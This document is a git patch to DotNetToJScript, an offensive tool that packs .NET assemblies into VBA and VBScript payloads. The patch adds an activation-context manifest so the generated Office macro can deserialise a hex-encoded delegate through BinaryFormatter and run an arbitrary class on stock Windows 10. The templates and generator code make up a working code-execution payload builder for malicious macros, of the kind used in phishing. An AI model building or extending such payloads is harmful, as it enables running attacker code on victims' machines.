From 6c1cdc64f178b68345a73ce3939cc27500653566 Mon Sep 17 00:00:00 2001
From: Nick Landers <nick@silentbreaksecurity.com>
Date: Sun, 12 Aug 2018 21:00:48 -0600
Subject: [PATCH] Updated VBA generator to support .NET4+ only environments
 (stock Win 10) using an activation manifest. Swapped SurrogateSelector for
 'Empty' in vba template. Pushed version to 1.0.5

---
 DotNetToJScript/DotNetToJScript.csproj        |  3 +
 .../Properties/Resources.Designer.cs          |  9 +++
 DotNetToJScript/Properties/Resources.resx     |  3 +
 .../Resources/manifest_template.txt           |  1 +
 DotNetToJScript/Resources/vba_template.txt    | 25 ++++---
 DotNetToJScript/VBAGenerator.cs               | 69 +++++++++++++++++--
 DotNetToJScript/VBScriptGenerator.cs          | 58 ++++++++--------
 7 files changed, 128 insertions(+), 40 deletions(-)
 create mode 100644 DotNetToJScript/Resources/manifest_template.txt

diff --git a/DotNetToJScript/DotNetToJScript.csproj b/DotNetToJScript/DotNetToJScript.csproj
index f8538c1..fb6ccfa 100644
--- a/DotNetToJScript/DotNetToJScript.csproj
+++ b/DotNetToJScript/DotNetToJScript.csproj
@@ -81,6 +81,9 @@
   <ItemGroup>
     <None Include="Resources\vbs_template.txt" />
   </ItemGroup>
+  <ItemGroup>
+    <Content Include="Resources\manifest_template.txt" />
+  </ItemGroup>
   <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
   <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
        Other similar extension points exist, see Microsoft.Common.targets.
diff --git a/DotNetToJScript/Properties/Resources.Designer.cs b/DotNetToJScript/Properties/Resources.Designer.cs
index b145340..f689838 100644
--- a/DotNetToJScript/Properties/Resources.Designer.cs
+++ b/DotNetToJScript/Properties/Resources.Designer.cs
@@ -102,6 +102,15 @@ namespace DotNetToJScript.Properties {
             }
         }
         
+        /// <summary>
+        ///   Looks up a localized string similar to &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-16&quot; standalone=&quot;yes&quot;?&gt;&lt;assembly xmlns=&quot;urn:schemas-microsoft-com:asm.v1&quot; manifestVersion=&quot;1.0&quot;&gt;&lt;assemblyIdentity name=&quot;mscorlib&quot; version=&quot;%MSCORLIBVERSION%&quot; publicKeyToken=&quot;B77A5C561934E089&quot; /&gt;&lt;clrClass clsid=&quot;{D0CBA7AF-93F5-378A-BB11-2A5D9AA9C4D7}&quot; progid=&quot;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&quot; threadingModel=&quot;Both&quot; name=&quot;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&quot; runtimeVersion=&quot;%RUNTIMEVERSION%&quot; /&gt;&lt;clrClass clsid=&quot;{8D907746-4 [rest of string was truncated]&quot;;.
+        /// </summary>
+        internal static string manifest_template {
+            get {
+                return ResourceManager.GetString("manifest_template", resourceCulture);
+            }
+        }
+        
         /// <summary>
         ///   Looks up a localized string similar to &lt;?xml version=&apos;1.0&apos;?&gt;
         ///&lt;package&gt;
diff --git a/DotNetToJScript/Properties/Resources.resx b/DotNetToJScript/Properties/Resources.resx
index 4667530..fc6a026 100644
--- a/DotNetToJScript/Properties/Resources.resx
+++ b/DotNetToJScript/Properties/Resources.resx
@@ -136,4 +136,7 @@
   <data name="vb_multi_auto_version_script" type="System.Resources.ResXFileRef, System.Windows.Forms">
     <value>..\Resources\vb_multi_auto_version_script.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
   </data>
+  <data name="manifest_template" type="System.Resources.ResXFileRef, System.Windows.Forms">
+    <value>..\resources\manifest_template.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
+  </data>
 </root>
\ No newline at end of file
diff --git a/DotNetToJScript/Resources/manifest_template.txt b/DotNetToJScript/Resources/manifest_template.txt
new file mode 100644
index 0000000..4d830a1
--- /dev/null
+++ b/DotNetToJScript/Resources/manifest_template.txt
@@ -0,0 +1 @@
+<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity name="mscorlib" version="%MSCORLIBVERSION%" publicKeyToken="B77A5C561934E089" /><clrClass clsid="{D0CBA7AF-93F5-378A-BB11-2A5D9AA9C4D7}" progid="System.Runtime.Serialization.Formatters.Binary.BinaryFormatter" threadingModel="Both" name="System.Runtime.Serialization.Formatters.Binary.BinaryFormatter" runtimeVersion="%RUNTIMEVERSION%" /><clrClass clsid="{8D907746-455E-39A7-BD31-BC9F81468347}" progid="System.Collections.ArrayList" threadingModel="Both" name="System.Collections.ArrayList" runtimeVersion="%RUNTIMEVERSION%" /><clrClass clsid="{8D907846-455E-39A7-BD31-BC9F81468347}" progid="System.Text.ASCIIEncoding" threadingModel="Both" name="System.Text.ASCIIEncoding" runtimeVersion="%RUNTIMEVERSION%" /><clrClass clsid="{8D907846-455E-39A7-BD31-BC9F81488347}" progid="System.Security.Cryptography.FromBase64Transform" threadingModel="Both" name="System.Security.Cryptography.FromBase64Transform" runtimeVersion="%RUNTIMEVERSION%" /><clrClass clsid="{8D907846-455E-39A7-BD31-BC9F81468B47}" progid="System.IO.MemoryStream" threadingModel="Both" name="System.IO.MemoryStream" runtimeVersion="%RUNTIMEVERSION%" /></assembly>
\ No newline at end of file
diff --git a/DotNetToJScript/Resources/vba_template.txt b/DotNetToJScript/Resources/vba_template.txt
index dfcfb3c..8f05e30 100644
--- a/DotNetToJScript/Resources/vba_template.txt
+++ b/DotNetToJScript/Resources/vba_template.txt
@@ -11,20 +11,30 @@ End Function
 Function Run()
     On Error Resume Next
 
-    SetVersion
-
-    Dim serialized_obj
+    Dim s As String
     %SERIALIZED%
 
     entry_class = "%CLASS%"
 
     Dim stm As Object, fmt As Object, al As Object
     Set stm = CreateObject("System.IO.MemoryStream")
-    Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
-    Set al = CreateObject("System.Collections.ArrayList")
+
+    If stm Is Nothing Then
+        %MANIFEST%
+
+        Set ax = CreateObject("Microsoft.Windows.ActCtx")
+		ax.ManifestText = manifest
+		
+        Set stm = ax.CreateObject("System.IO.MemoryStream")
+        Set fmt = ax.CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
+        Set al = ax.CreateObject("System.Collections.ArrayList")
+    Else
+        Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
+        Set al = CreateObject("System.Collections.ArrayList")
+    End If
 
     Dim dec
-    dec = decodeHex(serialized_obj)
+    dec = decodeHex(s)
 
     For Each i In dec
         stm.WriteByte i
@@ -33,9 +43,8 @@ Function Run()
     stm.Position = 0
 
     Dim n As Object, d As Object, o As Object
-    Set n = fmt.SurrogateSelector
     Set d = fmt.Deserialize_2(stm)
-    al.Add n
+    al.Add Empty
 
     Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
     %ADDEDSCRIPT%
diff --git a/DotNetToJScript/VBAGenerator.cs b/DotNetToJScript/VBAGenerator.cs
index a8aa08c..0f6efa8 100644
--- a/DotNetToJScript/VBAGenerator.cs
+++ b/DotNetToJScript/VBAGenerator.cs
@@ -38,6 +38,53 @@ namespace DotNetToJScript
             }
         }
 
+        public static string GetScriptHeader(Boolean debug)
+        {
+            StringBuilder builder = new StringBuilder();
+
+            builder.AppendLine("Sub DebugPrint(s)");
+            if (debug) builder.AppendLine("    Debug.Print s");
+            builder.AppendLine("End Sub");
+            builder.AppendLine();
+
+            return builder.ToString();
+        }
+
+        public static string GetManifest(RuntimeVersion version)
+        {
+            StringBuilder builder = new StringBuilder();
+
+            string runtimeVersion = (version != RuntimeVersion.v2) ? "v4.0.30319" : "v2.0.50727";
+            string mscorlibVersion = (version != RuntimeVersion.v2) ? "4.0.0.0" : "2.0.0.0";
+
+            string template = Properties.Resources.manifest_template.Replace(
+                                                                    "%RUNTIMEVERSION%",
+                                                                    runtimeVersion
+                                                                ).Replace(
+                                                                    "%MSCORLIBVERSION%",
+                                                                    mscorlibVersion
+                                                                );
+
+            for (int i = 0; i < template.Length; i++)
+            {
+                if (i == 0)
+                {
+                    builder.Append("manifest = \"");
+                }
+                else if (i % 300 == 0)
+                {
+                    builder.Append("\"");
+                    builder.AppendLine();
+                    builder.Append("        manifest = manifest & \"");
+                }
+                builder.Append(template[i]);
+                if (template[i] == '"') builder.Append('"');
+            }
+            builder.Append("\"");
+
+            return builder.ToString();
+        }
+
         public string GenerateScript(byte[] serialized_object, string entry_class_name, string additional_script, RuntimeVersion version, bool enable_debug)
         {
             string hex_encoded = BitConverter.ToString(serialized_object).Replace("-", "");
@@ -47,20 +94,32 @@ namespace DotNetToJScript
             {
                 if (i == 0)
                 {
-                    builder.Append("    serialized_obj = \"");
+                    builder.Append("s = \"");
                 }
-                else if (i % 100 == 0)
+                else if (i % 300 == 0)
                 {
                     builder.Append("\"");
                     builder.AppendLine();
-                    builder.Append("    serialized_obj = serialized_obj & \"");
+                    builder.Append("    s = s & \"");
                 }
                 builder.Append(hex_encoded[i]);
             }
             builder.Append("\"");
 
-            return VBShared.GetScriptHeader(version, enable_debug ? "Debug.Print" : String.Empty) 
-                + Properties.Resources.vba_template.Replace("%SERIALIZED%", builder.ToString()).Replace("%CLASS%", entry_class_name).Replace("%ADDEDSCRIPT%", additional_script);
+            return GetScriptHeader(enable_debug) +
+                Properties.Resources.vba_template.Replace(
+                                                "%SERIALIZED%",
+                                                builder.ToString()
+                                            ).Replace(
+                                                "%CLASS%",
+                                                entry_class_name
+                                            ).Replace(
+                                                "%MANIFEST%",
+                                                GetManifest(version)
+                                            ).Replace(
+                                                "%ADDEDSCRIPT%",
+                                                additional_script
+                                            );
         }
     }
 }
diff --git a/DotNetToJScript/VBScriptGenerator.cs b/DotNetToJScript/VBScriptGenerator.cs
index 57a92c7..d12462d 100644
--- a/DotNetToJScript/VBScriptGenerator.cs
+++ b/DotNetToJScript/VBScriptGenerator.cs
@@ -20,16 +20,30 @@ using System.Text;
 
 namespace DotNetToJScript
 {
-    static class VBShared
+    class VBScriptGenerator : IScriptGenerator
     {
-        public static string GetScriptHeader(RuntimeVersion version, string debug_statement)
+        public string ScriptName
+        {
+            get
+            {
+                return "VBScript";
+            }
+        }
+
+        public bool SupportsScriptlet
+        {
+            get
+            {
+                return true;
+            }
+        }
+
+        public static string GetScriptHeader(RuntimeVersion version, Boolean debug)
         {
             StringBuilder builder = new StringBuilder();
+
             builder.AppendLine("Sub DebugPrint(s)");
-            if (!String.IsNullOrEmpty(debug_statement))
-            {
-                builder.AppendFormat("{0} s", debug_statement).AppendLine();
-            }
+            if (debug) builder.AppendLine("    WScript.Echo s");
             builder.AppendLine("End Sub");
             builder.AppendLine();
 
@@ -55,32 +69,22 @@ namespace DotNetToJScript
             builder.AppendLine();
             return builder.ToString();
         }
-    }
-
-    class VBScriptGenerator : IScriptGenerator
-    {
-        public string ScriptName
-        {
-            get
-            {
-                return "VBScript";
-            }
-        }
-
-        public bool SupportsScriptlet
-        {
-            get
-            {
-                return true;
-            }
-        }
 
         public string GenerateScript(byte[] serialized_object, string entry_class_name, string additional_script, RuntimeVersion version, bool enable_debug)
         {
             string[] lines = JScriptGenerator.BinToBase64Lines(serialized_object);
 
-            return VBShared.GetScriptHeader(version, enable_debug ? "WScript.Echo" : String.Empty) + Properties.Resources.vbs_template.Replace("%SERIALIZED%", 
-                String.Join(Environment.NewLine + "s = s & ", lines)).Replace("%CLASS%", entry_class_name).Replace("%ADDEDSCRIPT%", additional_script);
+            return GetScriptHeader(version, enable_debug)
+                + Properties.Resources.vbs_template.Replace(
+                                            "%SERIALIZED%",
+                                            String.Join(Environment.NewLine + "s = s & ", lines)
+                                        ).Replace(
+                                            "%CLASS%",
+                                            entry_class_name
+                                        ).Replace(
+                                            "%ADDEDSCRIPT%",
+                                            additional_script
+                                        );
         }
     }
 }